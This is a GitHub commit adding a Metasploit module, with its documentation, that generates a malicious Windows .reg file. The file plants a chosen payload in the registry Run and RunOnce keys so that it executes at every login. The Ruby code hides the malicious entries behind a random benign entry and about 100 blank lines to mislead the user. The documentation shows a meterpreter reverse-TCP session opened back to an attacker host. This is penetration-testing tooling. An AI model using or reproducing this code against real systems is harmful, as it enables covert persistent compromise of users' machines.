Skip to content

Commit c5ec454

Browse files
committed
Add Malicious Windows Registration Entries (.reg) File module
1 parent 60a6658 commit c5ec454

File tree

2 files changed

+317
-0
lines changed

2 files changed

+317
-0
lines changed
Lines changed: 114 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,114 @@
1+
## Vulnerable Application
2+
3+
This module creates a Windows Registration Entries (.reg) file which
4+
adds the specified payload to the Windows Registry. The payload runs
5+
upon Windows login for the current user. If the user has elevated
6+
privileges when opening the file, the payload will run upon login
7+
when any user logs in.
8+
9+
The user will receive a warning prompt to confirm Registry changes
10+
when opening the file.
11+
12+
This module has been tested successfully on:
13+
14+
* Microsoft Windows 7 Professional SP1 (x86_64)
15+
* Microsoft Windows 11 Professional 21H2 (x86_64)
16+
17+
18+
## Options
19+
20+
### FILENAME
21+
22+
The registration entries file name. (Default: `msf.reg`).
23+
24+
25+
## Advanced Options
26+
27+
### AddToCurrentUserWindowsCurrentVersionRun
28+
29+
Add payload to login for current user. (Default: `true`)
30+
31+
### AddToCurrentUserWindowsCurrentVersionRunOnce
32+
33+
Same as AddToCurrentUserWindowsCurrentVersionRun, but the registry key is deleted after use. (Default: `false`)
34+
35+
### AddToLocalMachineWindowsCurrentVersionRun
36+
37+
Add payload to login for all users. The user will see a vague error message if they do not have the necessary permissions,
38+
but all other entries are still added successfully. (Default: `true`)
39+
40+
### AddToLocalMachineWindowsCurrentVersionRunOnce
41+
42+
Same as AddToLocalMachineWindowsCurrentVersionRun, but the registry key is deleted after use.' (Default: `false`)
43+
44+
### PrependBenignEntry
45+
46+
Prepend a benign registry entry at the start of the file. (Default: `true`),
47+
48+
### PrependNewLines
49+
50+
Prepend new lines before the first malicious registry entry. (Default: `100`)
51+
52+
53+
## Verification Steps
54+
55+
On the Metasploit host:
56+
57+
1. Start msfconsole
58+
1. Do: `use exploit/windows/fileformat/windows_registration_entries`
59+
1. Do: `set filename [filename.reg]`
60+
1. Do: `set payload [payload]`
61+
1. Do: `set lhost [lhost]`
62+
1. Do: `set lport [lport]`
63+
1. Do: `run`
64+
1. Do: `handler -p [payload] -P [lport] -H [lhost]`
65+
66+
On the target Windows machine:
67+
68+
1. Ensure Windows Security is disabled
69+
1. Open the `msf.reg` file and click `Yes` for the "Are you sure you want to continue?" prompt
70+
1. Log out then login as the same user
71+
72+
73+
## Scenarios
74+
75+
### Microsoft Windows 11 Professional 21H2 (x86_64)
76+
77+
```
78+
msf6 > use exploit/windows/fileformat/windows_registration_entries
79+
[*] No payload configured, defaulting to cmd/windows/http/x64/meterpreter/reverse_tcp
80+
msf6 exploit(windows/fileformat/windows_registration_entries) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp
81+
payload => cmd/windows/http/x64/meterpreter/reverse_tcp
82+
msf6 exploit(windows/fileformat/windows_registration_entries) > set lhost 192.168.200.130
83+
lhost => 192.168.200.130
84+
msf6 exploit(windows/fileformat/windows_registration_entries) > set lport 4444
85+
lport => 4444
86+
msf6 exploit(windows/fileformat/windows_registration_entries) > run
87+
[+] msf.reg stored at /root/.msf4/local/msf.reg
88+
[*] This file will create the following registry keys:
89+
HKEY_CURRENT_USER\Software\JpWpgNXlLXXrQv\Kz8Qi33Zow
90+
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\2iL9aN40YYLwgDl
91+
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\rhFG8l9yvhQ
92+
msf6 exploit(windows/fileformat/windows_registration_entries) > handler -p cmd/windows/http/x64/meterpreter/reverse_tcp -P 4444 -H 192.168.200.130
93+
[*] Payload handler running as background job 0.
94+
msf6 exploit(windows/fileformat/windows_registration_entries) >
95+
[*] Started reverse TCP handler on 192.168.200.130:4444
96+
97+
msf6 exploit(windows/fileformat/windows_registration_entries) >
98+
[*] Sending stage (203846 bytes) to 192.168.200.169
99+
[*] Meterpreter session 1 opened (192.168.200.130:4444 -> 192.168.200.169:59250) at 2025-07-13 08:42:07 -0400
100+
101+
msf6 exploit(windows/fileformat/windows_registration_entries) > sessions -i -1
102+
[*] Starting interaction with 1...
103+
104+
meterpreter > getuid
105+
Server username: win-11-pro-x64\asdf
106+
meterpreter > sysinfo
107+
Computer : WIN-11-PRO-X64
108+
OS : Windows 11 21H2 (10.0 Build 22000).
109+
Architecture : x64
110+
System Language : en_GB
111+
Domain : WORKGROUP
112+
Logged On Users : 5
113+
Meterpreter : x64/windows
114+
```
Lines changed: 203 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,203 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = GreatRanking
8+
9+
include Msf::Exploit::FILEFORMAT
10+
11+
def initialize(info = {})
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'Malicious Windows Registration Entries (.reg) File',
16+
'Description' => %q{
17+
This module creates a Windows Registration Entries (.reg) file which
18+
adds the specified payload to the Windows Registry. The payload runs
19+
upon Windows login for the current user. If the user has elevated
20+
privileges when opening the file, the payload will run upon login
21+
when any user logs in.
22+
23+
The user will receive a warning prompt to confirm Registry changes
24+
when opening the file.
25+
},
26+
'License' => MSF_LICENSE,
27+
'Author' => [
28+
'bcoles'
29+
],
30+
'References' => [
31+
['URL', 'https://support.microsoft.com/en-us/topic/how-to-add-modify-or-delete-registry-subkeys-and-values-by-using-a-reg-file-9c7f37cf-a5e9-e1cd-c4fa-2a26218a1a23'],
32+
['URL', 'https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys'],
33+
['URL', 'https://learn.microsoft.com/en-us/windows-hardware/drivers/install/runonce-registry-key'],
34+
['ATT&CK', Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE],
35+
['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],
36+
],
37+
'Arch' => [ARCH_CMD],
38+
'Platform' => 'win',
39+
'Payload' => {
40+
'Space' => 244, # 255 minus "cmd.exe /c " prefix length
41+
'BadChars' => "\x00",
42+
'DisableNops' => true
43+
},
44+
'Targets' => [
45+
[
46+
'Microsoft Windows 2000 or newer',
47+
{
48+
'RegistryEditorVersion' => '5.00'
49+
}
50+
],
51+
],
52+
'Privileged' => false,
53+
'DisclosureDate' => '1995-08-24',
54+
'DefaultTarget' => 0,
55+
'DefaultOptions' => {
56+
'DisablePayloadHandler' => true
57+
},
58+
'Notes' => {
59+
'Stability' => [CRASH_SAFE],
60+
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
61+
'SideEffects' => [SCREEN_EFFECTS]
62+
}
63+
)
64+
)
65+
66+
register_options(
67+
[
68+
OptString.new('FILENAME', [true, 'The registration entries file name.', 'msf.reg']),
69+
]
70+
)
71+
72+
register_advanced_options([
73+
OptBool.new('AddToCurrentUserWindowsCurrentVersionRun', [false, 'Add payload to login for current user.', true]),
74+
OptBool.new('AddToCurrentUserWindowsCurrentVersionRunOnce', [false, 'Same as AddToCurrentUserWindowsCurrentVersionRun, but the registry key is deleted after use.', false]),
75+
OptBool.new('AddToLocalMachineWindowsCurrentVersionRun', [false, 'Add payload to login for all users. The user will see a vague error message if they do not have the necessary permissions, but all other entries are still added successfully.', true]),
76+
OptBool.new('AddToLocalMachineWindowsCurrentVersionRunOnce', [false, 'Same as AddToLocalMachineWindowsCurrentVersionRun, but the registry key is deleted after use.', false]),
77+
OptBool.new('PrependBenignEntry', [false, 'Prepend a benign registry entry at the start of the file.', true]),
78+
OptInt.new('PrependNewLines', [false, 'Prepend new lines before the first malicious registry entry.', 100]),
79+
])
80+
end
81+
82+
# Create a registry entry in Windows .reg file format
83+
def registry_entry(path, type, key, value)
84+
# https://learn.microsoft.com/en-us/windows/win32/sysinfo/registry-element-size-limits
85+
raise "Registry key '#{type}' length (#{key.length}) is too long (max 255)" if key.length > 255
86+
raise "Registry value '#{value}' length (#{value.length}) is too long (max 16,300)" if value.length > 16_300
87+
88+
# https://learn.microsoft.com/en-us/windows/win32/sysinfo/registry-value-types
89+
raise "Unsupported key type '#{type}', excepted REG_SZ" unless type == 'REG_SZ'
90+
91+
escaped_value = value.gsub('\\', '\\\\\\').gsub('"', '\\\"')
92+
reg_entry = "[#{path}]\r\n"
93+
reg_entry << "\"#{key}\"=\"#{escaped_value}\"\r\n"
94+
vprint_status("Created registry entry:\n#{reg_entry}")
95+
reg_entry
96+
end
97+
98+
# Format commands for use with the appropriate interpreter
99+
def format_commands(command_string)
100+
# Strip preceding whitespace as this would prevent execution
101+
raw_cmd = command_string.to_s.gsub(/^\s*/, '')
102+
103+
# If the payload contains " & " we presume it is a command string.
104+
#
105+
# TODO: Change this once Metasploit is able to inform a module that
106+
# the specified ARCH_CMD payload is a string of commands
107+
# (not a single command).
108+
if raw_cmd.include?(' & ')
109+
cmd = "cmd.exe /c #{raw_cmd}"
110+
else
111+
cmd = raw_cmd
112+
end
113+
114+
raise "Command length (#{cmd.length}) is too long (max 255)" if cmd.length > 255
115+
116+
cmd
117+
end
118+
119+
def exploit
120+
# File structure:
121+
# File header string
122+
# Benign registry entry (optional)
123+
# Visual whitespace padding (optional)
124+
# HKCU entries
125+
# HKLM entries (optional)
126+
reg = "Windows Registry Editor Version #{target['RegistryEditorVersion']}\r\n"
127+
reg << "\r\n"
128+
129+
reg_entries = []
130+
131+
if datastore['PrependBenignEntry']
132+
path = "HKEY_CURRENT_USER\\Software\\#{rand_text_alphanumeric(10..16)}"
133+
key = rand_text_alphanumeric(10..16)
134+
reg << registry_entry(
135+
path,
136+
'REG_SZ',
137+
key,
138+
rand_text_alphanumeric(10..16)
139+
)
140+
reg_entries << path + '\\' + key
141+
end
142+
143+
reg << "\r\n" * datastore['PrependNewLines']
144+
145+
if datastore['AddToCurrentUserWindowsCurrentVersionRun']
146+
path = 'HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run'
147+
key = rand_text_alphanumeric(10..16)
148+
reg << registry_entry(
149+
path,
150+
'REG_SZ',
151+
key,
152+
format_commands(payload.encoded)
153+
)
154+
reg_entries << path + '\\' + key
155+
end
156+
157+
if datastore['AddToCurrentUserWindowsCurrentVersionRunOnce']
158+
path = 'HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce'
159+
key = rand_text_alphanumeric(10..16)
160+
reg << registry_entry(
161+
path,
162+
'REG_SZ',
163+
key,
164+
format_commands(payload.encoded)
165+
)
166+
reg_entries << path + '\\' + key
167+
end
168+
169+
if datastore['AddToLocalMachineWindowsCurrentVersionRun']
170+
path = 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
171+
key = rand_text_alphanumeric(10..16)
172+
reg << registry_entry(
173+
path,
174+
'REG_SZ',
175+
key,
176+
format_commands(payload.encoded)
177+
)
178+
reg_entries << path + '\\' + key
179+
end
180+
181+
if datastore['AddToLocalMachineWindowsCurrentVersionRunOnce']
182+
path = 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce'
183+
key = rand_text_alphanumeric(10..16)
184+
reg << registry_entry(
185+
path,
186+
'REG_SZ',
187+
key,
188+
format_commands(payload.encoded)
189+
)
190+
reg_entries << path + '\\' + key
191+
end
192+
193+
unless reg_entries
194+
fail_with(Failure::BadConfig, 'No registry entries were created! Check module advanced options.')
195+
end
196+
197+
file_create(reg)
198+
199+
print_status("This file will create the following registry keys:\n#{reg_entries.join("\n")}")
200+
rescue StandardError => e
201+
print_error(e.message)
202+
end
203+
end

0 commit comments

Comments
 (0)